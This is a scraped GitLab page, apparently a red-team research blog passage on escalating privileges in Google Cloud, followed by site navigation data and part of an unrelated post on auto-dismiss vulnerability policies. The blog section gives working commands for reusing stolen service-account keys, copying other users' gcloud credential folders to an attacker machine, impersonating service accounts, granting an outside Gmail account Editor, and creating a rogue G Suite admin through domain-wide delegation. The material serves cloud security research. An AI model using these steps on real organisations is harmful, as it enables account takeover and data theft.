\"[PRIVATE-KEY]\",\n\"validAfterTime\": \"[DATE]\",\n\"validBeforeTime\": \"[DATE]\",\n\"keyAlgorithm\": \"KEY_ALG_RSA_2048\"\n}\n```\n\nIf you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.\n\n```shell\n$ gcloud auth activate-service-account --key-file [FILE]\n```\n\nYou can now test your new OAuth token as follows:\n\n```shell\n$ TOKEN=`gcloud auth print-access-token`\n$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN\n```\n\nYou should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.\n\n#### Steal gcloud authorizations\n\nIt's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.\n\nFirst, find what `gcloud` config directories exist in users' home folders.\n\n```shell\n$ sudo find / -name \"gcloud\"\n```\n\nYou can manually inspect the files inside, but these are generally the ones with the secrets:\n\n- ~/.config/gcloud/credentials.db\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto\n- ~/.credentials.json\n\nNow, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.\n\n### Service account impersonation\n\nThere are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):\n\n- Authentication using RSA private keys (covered [above](#find-service-account-keys))\n- Authorization using Cloud IAM policies (covered below)\n- Deploying jobs on GCP services (more applicable to the compromise of a user account)\n\nIt's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.\n\nA good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.\n\nEven better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.\n\n`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.\n\nTo give this a shot, you can try the following:\n\n```text\n# View available service accounts\n$ gcloud iam service-accounts list\n\n# Impersonate the account\n$ gcloud compute instances list \\\n    --impersonate-service-account xxx@developer.gserviceaccount.com\n\n```\n\n### Exploring other projects\n\nIf you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:\n\n```shell\n$ gcloud projects list\n```\n\nFrom here, you can hop over to that project and start the entire process over.\n\n```shell\n$ gcloud config set project [PROJECT-ID]\n```\n\n### Granting access to management console\n\nAccess to the [GCP management console](https://console.cloud.google.com/) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic \"@gmail.com\" account, it does not have to be a member of the target organization.\n\nTo grant the primitive role of Owner to a generic \"@gmail.com\" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.\n\nYou can use the following command to grant a user the primitive role of Editor to your existing project:\n\n```shell\n$ gcloud projects add-iam-policy-binding [PROJECT] \\\n    --member user:[EMAIL] --role roles/editor\n\n```\n\nIf you succeeded here, try accessing the web interface and exploring from there.\n\nThis is the highest level you can assign using the gcloud tool. To assign a permission of Owner, you'd need to use the console itself.\n\nYou need a fairly high level of permission to do this. If you're not quite there, keep reading.\n\n### Spreading to G Suite via domain-wide delegation of authority\n\n[G Suite](https://gsuite.google.com/) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.\n\nService accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.\n\nG Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.\n\nIt is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have \"Enabled\" listed under the \"domain-wide delegation\" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker.\n\nIt is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.\n\nWhether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.\n\nThis topic is a bit tricky... your service account has something called a \"client_email\" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.\n\nWhat you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.\n\nWe've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:\n\n```text\n# Validate access only\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com\n\n# List the directory\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --list\n\n# Create a new admin account\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --account pwned\n\n```\n\nYou can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.\n\nIf you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.\n",[9,23,24],"security research","open source","yml",{},true,"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"title":30,"description":16,"ogTitle":30,"ogDescription":16,"noIndex":12,"ogImage":19,"ogUrl":31,"ogSiteName":32,"ogType":33,"canonicalUrls":31},"Google Cloud privilege escalation & post-exploitation tactics","https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","https://about.gitlab.com","article","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",[9,36,37],"security-research","open-source","TaVpWkkHNCDEM1UaSZNSLe44s2DrHAngH0SZrT1gxdU",{"data":40},{"logo":41,"freeTrial":46,"sales":51,"login":56,"items":61,"search":369,"minimal":400,"duo":419,"switchNav":428,"pricingDeployment":439},{"config":42},{"href":43,"dataGaName":44,"dataGaLocation":45},"/","gitlab logo","header",{"text":47,"config":48},"Get free trial",{"href":49,"dataGaName":50,"dataGaLocation":45},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":52,"config":53},"Talk to sales",{"href":54,"dataGaName":55,"dataGaLocation":45},"/sales/","sales",{"text":57,"config":58},"Sign in",{"href":59,"dataGaName":60,"dataGaLocation":45},"https://gitlab.com/users/sign_in/","sign in",[62,89,184,189,290,350],{"text":63,"config":64,"cards":66},"Platform",{"dataNavLevelOne":65},"platform",[67,73,81],{"title":63,"description":68,"link":69},"The intelligent orchestration platform for DevSecOps",{"text":70,"config":71},"Explore our Platform",{"href":72,"dataGaName":65,"dataGaLocation":45},"/platform/",{"title":74,"description":75,"link":76},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":77,"config":78},"Meet GitLab Duo",{"href":79,"dataGaName":80,"dataGaLocation":45},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":82,"description":83,"link":84},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":85,"config":86},"Learn more",{"href":87,"dataGaName":88,"dataGaLocation":45},"/why-gitlab/","why gitlab",{"text":90,"left":27,"config":91,"link":93,"lists":97,"footer":166},"Product",{"dataNavLevelOne":92},"solutions",{"text":94,"config":95},"View all Solutions",{"href":96,"dataGaName":92,"dataGaLocation":45},"/solutions/",[98,122,145],{"title":99,"description":100,"link":101,"items":106},"Automation","CI/CD and automation to accelerate deployment",{"config":102},{"icon":103,"href":104,"dataGaName":105,"dataGaLocation":45},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[107,111,114,118],{"text":108,"config":109},"CI/CD",{"href":110,"dataGaLocation":45,"dataGaName":108},"/solutions/continuous-integration/",{"text":74,"config":112},{"href":79,"dataGaLocation":45,"dataGaName":113},"gitlab duo agent platform - product menu",{"text":115,"config":116},"Source Code Management",{"href":117,"dataGaLocation":45,"dataGaName":115},"/solutions/source-code-management/",{"text":119,"config":120},"Automated Software Delivery",{"href":104,"dataGaLocation":45,"dataGaName":121},"Automated software delivery",{"title":123,"description":124,"link":125,"items":130},"Security","Deliver code faster without compromising security",{"config":126},{"href":127,"dataGaName":128,"dataGaLocation":45,"icon":129},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[131,135,140],{"text":132,"config":133},"Application Security Testing",{"href":127,"dataGaName":134,"dataGaLocation":45},"Application security testing",{"text":136,"config":137},"Software Supply Chain Security",{"href":138,"dataGaLocation":45,"dataGaName":139},"/solutions/supply-chain/","Software supply chain security",{"text":141,"config":142},"Software Compliance",{"href":143,"dataGaName":144,"dataGaLocation":45},"/solutions/software-compliance/","software compliance",{"title":146,"link":147,"items":152},"Measurement",{"config":148},{"icon":149,"href":150,"dataGaName":151,"dataGaLocation":45},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[153,157,161],{"text":154,"config":155},"Visibility & Measurement",{"href":150,"dataGaLocation":45,"dataGaName":156},"Visibility and Measurement",{"text":158,"config":159},"Value Stream Management",{"href":160,"dataGaLocation":45,"dataGaName":158},"/solutions/value-stream-management/",{"text":162,"config":163},"Analytics & Insights",{"href":164,"dataGaLocation":45,"dataGaName":165},"/solutions/analytics-and-insights/","Analytics and insights",{"title":167,"items":168},"GitLab for",[169,174,179],{"text":170,"config":171},"Enterprise",{"href":172,"dataGaLocation":45,"dataGaName":173},"/enterprise/","enterprise",{"text":175,"config":176},"Small Business",{"href":177,"dataGaLocation":45,"dataGaName":178},"/small-business/","small business",{"text":180,"config":181},"Public Sector",{"href":182,"dataGaLocation":45,"dataGaName":183},"/solutions/public-sector/","public sector",{"text":185,"config":186},"Pricing",{"href":187,"dataGaName":188,"dataGaLocation":45,"dataNavLevelOne":188},"/pricing/","pricing",{"text":190,"config":191,"link":193,"lists":197,"feature":277},"Resources",{"dataNavLevelOne":192},"resources",{"text":194,"config":195},"View all resources",{"href":196,"dataGaName":192,"dataGaLocation":45},"/resources/",[198,231,249],{"title":199,"items":200},"Getting started",[201,206,211,216,221,226],{"text":202,"config":203},"Install",{"href":204,"dataGaName":205,"dataGaLocation":45},"/install/","install",{"text":207,"config":208},"Quick start guides",{"href":209,"dataGaName":210,"dataGaLocation":45},"/get-started/","quick setup checklists",{"text":212,"config":213},"Learn",{"href":214,"dataGaLocation":45,"dataGaName":215},"https://university.gitlab.com/","learn",{"text":217,"config":218},"Product documentation",{"href":219,"dataGaName":220,"dataGaLocation":45},"https://docs.gitlab.com/","product documentation",{"text":222,"config":223},"Best practice videos",{"href":224,"dataGaName":225,"dataGaLocation":45},"/getting-started-videos/","best practice videos",{"text":227,"config":228},"Integrations",{"href":229,"dataGaName":230,"dataGaLocation":45},"/integrations/","integrations",{"title":232,"items":233},"Discover",[234,239,244],{"text":235,"config":236},"Customer success stories",{"href":237,"dataGaName":238,"dataGaLocation":45},"/customers/","customer success stories",{"text":240,"config":241},"Blog",{"href":242,"dataGaName":243,"dataGaLocation":45},"/blog/","blog",{"text":245,"config":246},"Remote",{"href":247,"dataGaName":248,"dataGaLocation":45},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":250,"items":251},"Connect",[252,257,262,267,272],{"text":253,"config":254},"GitLab Services",{"href":255,"dataGaName":256,"dataGaLocation":45},"/services/","services",{"text":258,"config":259},"Community",{"href":260,"dataGaName":261,"dataGaLocation":45},"/community/","community",{"text":263,"config":264},"Forum",{"href":265,"dataGaName":266,"dataGaLocation":45},"https://forum.gitlab.com/","forum",{"text":268,"config":269},"Events",{"href":270,"dataGaName":271,"dataGaLocation":45},"/events/","events",{"text":273,"config":274},"Partners",{"href":275,"dataGaName":276,"dataGaLocation":45},"/partners/","partners",{"backgroundColor":278,"textColor":279,"text":280,"image":281,"link":285},"#2f2a6b","#fff","Insights for the future of software development",{"altText":282,"config":283},"the source promo card",{"src":284},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":286,"config":287},"Read the latest",{"href":288,"dataGaName":289,"dataGaLocation":45},"/the-source/","the source",{"text":291,"config":292,"lists":294},"Company",{"dataNavLevelOne":293},"company",[295],{"items":296},[297,302,308,310,315,320,325,330,335,340,345],{"text":298,"config":299},"About",{"href":300,"dataGaName":301,"dataGaLocation":45},"/company/","about",{"text":303,"config":304,"footerGa":307},"Jobs",{"href":305,"dataGaName":306,"dataGaLocation":45},"/jobs/","jobs",{"dataGaName":306},{"text":268,"config":309},{"href":270,"dataGaName":271,"dataGaLocation":45},{"text":311,"config":312},"Leadership",{"href":313,"dataGaName":314,"dataGaLocation":45},"/company/team/e-group/","leadership",{"text":316,"config":317},"Team",{"href":318,"dataGaName":319,"dataGaLocation":45},"/company/team/","team",{"text":321,"config":322},"Handbook",{"href":323,"dataGaName":324,"dataGaLocation":45},"https://handbook.gitlab.com/","handbook",{"text":326,"config":327},"Investor relations",{"href":328,"dataGaName":329,"dataGaLocation":45},"https://ir.gitlab.com/","investor relations",{"text":331,"config":332},"Trust Center",{"href":333,"dataGaName":334,"dataGaLocation":45},"/security/","trust center",{"text":336,"config":337},"AI Transparency Center",{"href":338,"dataGaName":339,"dataGaLocation":45},"/ai-transparency-center/","ai transparency center",{"text":341,"config":342},"Newsletter",{"href":343,"dataGaName":344,"dataGaLocation":45},"/company/contact/#contact-forms","newsletter",{"text":346,"config":347},"Press",{"href":348,"dataGaName":349,"dataGaLocation":45},"/press/","press",{"text":351,"config":352,"lists":353},"Contact us",{"dataNavLevelOne":293},[354],{"items":355},[356,359,364],{"text":52,"config":357},{"href":54,"dataGaName":358,"dataGaLocation":45},"talk to sales",{"text":360,"config":361},"Support portal",{"href":362,"dataGaName":363,"dataGaLocation":45},"https://support.gitlab.com","support portal",{"text":365,"config":366},"Customer portal",{"href":367,"dataGaName":368,"dataGaLocation":45},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":370,"login":371,"suggestions":378},"Close",{"text":372,"link":373},"To search repositories and projects, login to",{"text":374,"config":375},"gitlab.com",{"href":59,"dataGaName":376,"dataGaLocation":377},"search login","search",{"text":379,"default":380},"Suggestions",[381,383,387,389,393,397],{"text":74,"config":382},{"href":79,"dataGaName":74,"dataGaLocation":377},{"text":384,"config":385},"Code Suggestions (AI)",{"href":386,"dataGaName":384,"dataGaLocation":377},"/solutions/code-suggestions/",{"text":108,"config":388},{"href":110,"dataGaName":108,"dataGaLocation":377},{"text":390,"config":391},"GitLab on AWS",{"href":392,"dataGaName":390,"dataGaLocation":377},"/partners/technology-partners/aws/",{"text":394,"config":395},"GitLab on Google Cloud",{"href":396,"dataGaName":394,"dataGaLocation":377},"/partners/technology-partners/google-cloud-platform/",{"text":398,"config":399},"Why GitLab?",{"href":87,"dataGaName":398,"dataGaLocation":377},{"freeTrial":401,"mobileIcon":406,"desktopIcon":411,"secondaryButton":414},{"text":402,"config":403},"Start free trial",{"href":404,"dataGaName":50,"dataGaLocation":405},"https://gitlab.com/-/trials/new/","nav",{"altText":407,"config":408},"Gitlab Icon",{"src":409,"dataGaName":410,"dataGaLocation":405},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":407,"config":412},{"src":413,"dataGaName":410,"dataGaLocation":405},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":415,"config":416},"Get Started",{"href":417,"dataGaName":418,"dataGaLocation":405},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":420,"mobileIcon":424,"desktopIcon":426},{"text":421,"config":422},"Learn more about GitLab Duo",{"href":79,"dataGaName":423,"dataGaLocation":405},"gitlab duo",{"altText":407,"config":425},{"src":409,"dataGaName":410,"dataGaLocation":405},{"altText":407,"config":427},{"src":413,"dataGaName":410,"dataGaLocation":405},{"button":429,"mobileIcon":434,"desktopIcon":436},{"text":430,"config":431},"/switch",{"href":432,"dataGaName":433,"dataGaLocation":405},"#contact","switch",{"altText":407,"config":435},{"src":409,"dataGaName":410,"dataGaLocation":405},{"altText":407,"config":437},{"src":438,"dataGaName":410,"dataGaLocation":405},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":440,"mobileIcon":445,"desktopIcon":447},{"text":441,"config":442},"Back to pricing",{"href":187,"dataGaName":443,"dataGaLocation":405,"icon":444},"back to pricing","GoBack",{"altText":407,"config":446},{"src":409,"dataGaName":410,"dataGaLocation":405},{"altText":407,"config":448},{"src":413,"dataGaName":410,"dataGaLocation":405},{"title":450,"button":451,"config":456},"See how agentic AI transforms software delivery",{"text":452,"config":453},"Watch GitLab Transcend now",{"href":454,"dataGaName":455,"dataGaLocation":45},"/events/transcend/virtual/","transcend event",{"layout":457,"icon":458,"disabled":27},"release","AiStar",{"data":460},{"text":461,"source":462,"edit":468,"contribute":473,"config":478,"items":483,"minimal":690},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":463,"config":464},"View page source",{"href":465,"dataGaName":466,"dataGaLocation":467},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":469,"config":470},"Edit this page",{"href":471,"dataGaName":472,"dataGaLocation":467},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":474,"config":475},"Please contribute",{"href":476,"dataGaName":477,"dataGaLocation":467},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":479,"facebook":480,"youtube":481,"linkedin":482},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[484,531,585,629,656],{"title":185,"links":485,"subMenu":500},[486,490,495],{"text":487,"config":488},"View plans",{"href":187,"dataGaName":489,"dataGaLocation":467},"view plans",{"text":491,"config":492},"Why Premium?",{"href":493,"dataGaName":494,"dataGaLocation":467},"/pricing/premium/","why premium",{"text":496,"config":497},"Why Ultimate?",{"href":498,"dataGaName":499,"dataGaLocation":467},"/pricing/ultimate/","why ultimate",[501],{"title":502,"links":503},"Contact Us",[504,507,509,511,516,521,526],{"text":505,"config":506},"Contact sales",{"href":54,"dataGaName":55,"dataGaLocation":467},{"text":360,"config":508},{"href":362,"dataGaName":363,"dataGaLocation":467},{"text":365,"config":510},{"href":367,"dataGaName":368,"dataGaLocation":467},{"text":512,"config":513},"Status",{"href":514,"dataGaName":515,"dataGaLocation":467},"https://status.gitlab.com/","status",{"text":517,"config":518},"Terms of use",{"href":519,"dataGaName":520,"dataGaLocation":467},"/terms/","terms of use",{"text":522,"config":523},"Privacy statement",{"href":524,"dataGaName":525,"dataGaLocation":467},"/privacy/","privacy statement",{"text":527,"config":528},"Cookie preferences",{"dataGaName":529,"dataGaLocation":467,"id":530,"isOneTrustButton":27},"cookie preferences","ot-sdk-btn",{"title":90,"links":532,"subMenu":541},[533,537],{"text":534,"config":535},"DevSecOps platform",{"href":72,"dataGaName":536,"dataGaLocation":467},"devsecops platform",{"text":538,"config":539},"AI-Assisted Development",{"href":79,"dataGaName":540,"dataGaLocation":467},"ai-assisted development",[542],{"title":543,"links":544},"Topics",[545,550,555,560,565,570,575,580],{"text":546,"config":547},"CICD",{"href":548,"dataGaName":549,"dataGaLocation":467},"/topics/ci-cd/","cicd",{"text":551,"config":552},"GitOps",{"href":553,"dataGaName":554,"dataGaLocation":467},"/topics/gitops/","gitops",{"text":556,"config":557},"DevOps",{"href":558,"dataGaName":559,"dataGaLocation":467},"/topics/devops/","devops",{"text":561,"config":562},"Version Control",{"href":563,"dataGaName":564,"dataGaLocation":467},"/topics/version-control/","version control",{"text":566,"config":567},"DevSecOps",{"href":568,"dataGaName":569,"dataGaLocation":467},"/topics/devsecops/","devsecops",{"text":571,"config":572},"Cloud Native",{"href":573,"dataGaName":574,"dataGaLocation":467},"/topics/cloud-native/","cloud native",{"text":576,"config":577},"AI for Coding",{"href":578,"dataGaName":579,"dataGaLocation":467},"/topics/devops/ai-for-coding/","ai for coding",{"text":581,"config":582},"Agentic AI",{"href":583,"dataGaName":584,"dataGaLocation":467},"/topics/agentic-ai/","agentic ai",{"title":586,"links":587},"Solutions",[588,590,592,597,601,604,608,611,613,616,619,624],{"text":132,"config":589},{"href":127,"dataGaName":132,"dataGaLocation":467},{"text":121,"config":591},{"href":104,"dataGaName":105,"dataGaLocation":467},{"text":593,"config":594},"Agile development",{"href":595,"dataGaName":596,"dataGaLocation":467},"/solutions/agile-delivery/","agile delivery",{"text":598,"config":599},"SCM",{"href":117,"dataGaName":600,"dataGaLocation":467},"source code management",{"text":546,"config":602},{"href":110,"dataGaName":603,"dataGaLocation":467},"continuous integration & delivery",{"text":605,"config":606},"Value stream management",{"href":160,"dataGaName":607,"dataGaLocation":467},"value stream management",{"text":551,"config":609},{"href":610,"dataGaName":554,"dataGaLocation":467},"/solutions/gitops/",{"text":170,"config":612},{"href":172,"dataGaName":173,"dataGaLocation":467},{"text":614,"config":615},"Small business",{"href":177,"dataGaName":178,"dataGaLocation":467},{"text":617,"config":618},"Public sector",{"href":182,"dataGaName":183,"dataGaLocation":467},{"text":620,"config":621},"Education",{"href":622,"dataGaName":623,"dataGaLocation":467},"/solutions/education/","education",{"text":625,"config":626},"Financial services",{"href":627,"dataGaName":628,"dataGaLocation":467},"/solutions/finance/","financial services",{"title":190,"links":630},[631,633,635,637,640,642,644,646,648,650,652,654],{"text":202,"config":632},{"href":204,"dataGaName":205,"dataGaLocation":467},{"text":207,"config":634},{"href":209,"dataGaName":210,"dataGaLocation":467},{"text":212,"config":636},{"href":214,"dataGaName":215,"dataGaLocation":467},{"text":217,"config":638},{"href":219,"dataGaName":639,"dataGaLocation":467},"docs",{"text":240,"config":641},{"href":242,"dataGaName":243,"dataGaLocation":467},{"text":235,"config":643},{"href":237,"dataGaName":238,"dataGaLocation":467},{"text":245,"config":645},{"href":247,"dataGaName":248,"dataGaLocation":467},{"text":253,"config":647},{"href":255,"dataGaName":256,"dataGaLocation":467},{"text":258,"config":649},{"href":260,"dataGaName":261,"dataGaLocation":467},{"text":263,"config":651},{"href":265,"dataGaName":266,"dataGaLocation":467},{"text":268,"config":653},{"href":270,"dataGaName":271,"dataGaLocation":467},{"text":273,"config":655},{"href":275,"dataGaName":276,"dataGaLocation":467},{"title":291,"links":657},[658,660,662,664,666,668,670,674,679,681,683,685],{"text":298,"config":659},{"href":300,"dataGaName":293,"dataGaLocation":467},{"text":303,"config":661},{"href":305,"dataGaName":306,"dataGaLocation":467},{"text":311,"config":663},{"href":313,"dataGaName":314,"dataGaLocation":467},{"text":316,"config":665},{"href":318,"dataGaName":319,"dataGaLocation":467},{"text":321,"config":667},{"href":323,"dataGaName":324,"dataGaLocation":467},{"text":326,"config":669},{"href":328,"dataGaName":329,"dataGaLocation":467},{"text":671,"config":672},"Sustainability",{"href":673,"dataGaName":671,"dataGaLocation":467},"/sustainability/",{"text":675,"config":676},"Diversity, inclusion and belonging (DIB)",{"href":677,"dataGaName":678,"dataGaLocation":467},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":331,"config":680},{"href":333,"dataGaName":334,"dataGaLocation":467},{"text":341,"config":682},{"href":343,"dataGaName":344,"dataGaLocation":467},{"text":346,"config":684},{"href":348,"dataGaName":349,"dataGaLocation":467},{"text":686,"config":687},"Modern Slavery Transparency Statement",{"href":688,"dataGaName":689,"dataGaLocation":467},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":691},[692,695,698],{"text":693,"config":694},"Terms",{"href":519,"dataGaName":520,"dataGaLocation":467},{"text":696,"config":697},"Cookies",{"dataGaName":529,"dataGaLocation":467,"id":530,"isOneTrustButton":27},{"text":699,"config":700},"Privacy",{"href":524,"dataGaName":525,"dataGaLocation":467},[702],{"id":703,"title":18,"body":8,"config":704,"content":706,"description":8,"extension":25,"meta":710,"navigation":27,"path":711,"seo":712,"stem":713,"__hash__":714},"blogAuthors/en-us/blog/authors/chris-moberly.yml",{"template":705},"BlogAuthor",{"name":18,"config":707},{"headshot":708,"ctfId":709},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664235/Blog/Author%20Headshots/cmoberly-headshot.jpg","cmoberly",{},"/en-us/blog/authors/chris-moberly",{},"en-us/blog/authors/chris-moberly","v83w571hHQ-Pp6FRXLR8j4NJ3-1mcNhD7eif5Q962QY",[716,731,743],{"content":717,"config":729},{"title":718,"description":719,"authors":720,"heroImage":722,"date":723,"category":9,"tags":724,"body":728},"Manage vulnerability noise at scale with auto-dismiss policies","Learn how to cut through scanner noise and focus on the vulnerabilities that matter most with GitLab security, including use cases and templates.",[721],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-03-25",[9,725,566,726,727],"tutorial","features","product","Security scanners are essential, but not every finding requires action. Test code, vendored dependencies, generated files, and known false positives create noise that buries the vulnerabilities that actually matter. Security teams waste hours manually dismissing the same irrelevant findings across projects and pipelines. They experience slower triage, alert fatigue, and developer friction that undermines adoption of security scanning itself.\n\nGitLab's auto-dismiss vulnerability policies let you codify your triage decisions once and apply them automatically on every default-branch pipeline. Define criteria based on file path, directory, or vulnerability identifier (CVE, CWE), choose a dismissal reason, and let GitLab handle the rest.\n\n## Why auto-dismiss?\nAuto-dismiss vulnerability policies enable security teams to:\n- **Eliminate triage noise**: Automatically dismiss findings in test code, vendored dependencies, and generated files.\n- **Enforce decisions at scale**: Apply policies centrally to dismiss known false positives across your entire organization.\n- **Maintain audit transparency**: Every auto-dismissed finding includes a documented reason and links back to the policy that triggered it.\n- **Preserve the record**: Unlike scanner exclusions, dismissed vulnerabilities remain in your report, so you can revisit decisions if conditions change.\n\n## How auto-dismiss policies work\n\n1. **Define your policy** in a vulnerability management policy YAML file. Specify match criteria (file path, directory, or identifier) and a dismissal reason.\n\n2. **Merge and activate.** Create the policy via **Secure > Policies > New  policy > Vulnerability management policy**. Merge the MR to enable it.\n3. **Run your pipeline.** On every default-branch pipeline, matching vulnerabilities are automatically set to \"Dismissed\" with the specified reason. Up to 1,000 vulnerabilities are processed per run.\n4. **Measure the impact.** Filter your vulnerability report by status \"Dismissed\" to see exactly what was cleaned up and validate that the right findings are being handled.\n\n## Use cases with ready-to-use configurations\n\nEach example below includes a policy configuration you can copy, customize, and apply immediately.\n\n### 1. Dismiss test code vulnerabilities\n\nSAST and dependency scanners flag hardcoded credentials, insecure fixtures, and dev-only dependencies in test directories. These are not production risks.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss test code vulnerabilities\"\n    description: \"Auto-dismiss findings in test directories\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"test/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"tests/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"spec/**/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"__tests__/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: used_in_tests\n\n```\n\n### 2. Dismiss vendored and third-party code\n\nVulnerabilities in `vendor/`, `third_party/`, or checked-in `node_modules` are managed upstream and not actionable for your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss vendored dependency findings\"\n    description: \"Findings in vendored code are managed upstream\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendor/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"third_party/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendored/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 3. Dismiss known false positive CVEs\n\nCertain CVEs are repeatedly flagged but don't apply to your usage context. Teams dismiss these manually every time they appear. Replace the example CVEs below with your own.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss known false positive CVEs\"\n    description: \"CVEs confirmed as false positives for our environment\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-44487\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2024-29041\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-26136\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: false_positive\n\n```\n\n### 4. Dismiss generated and auto-created 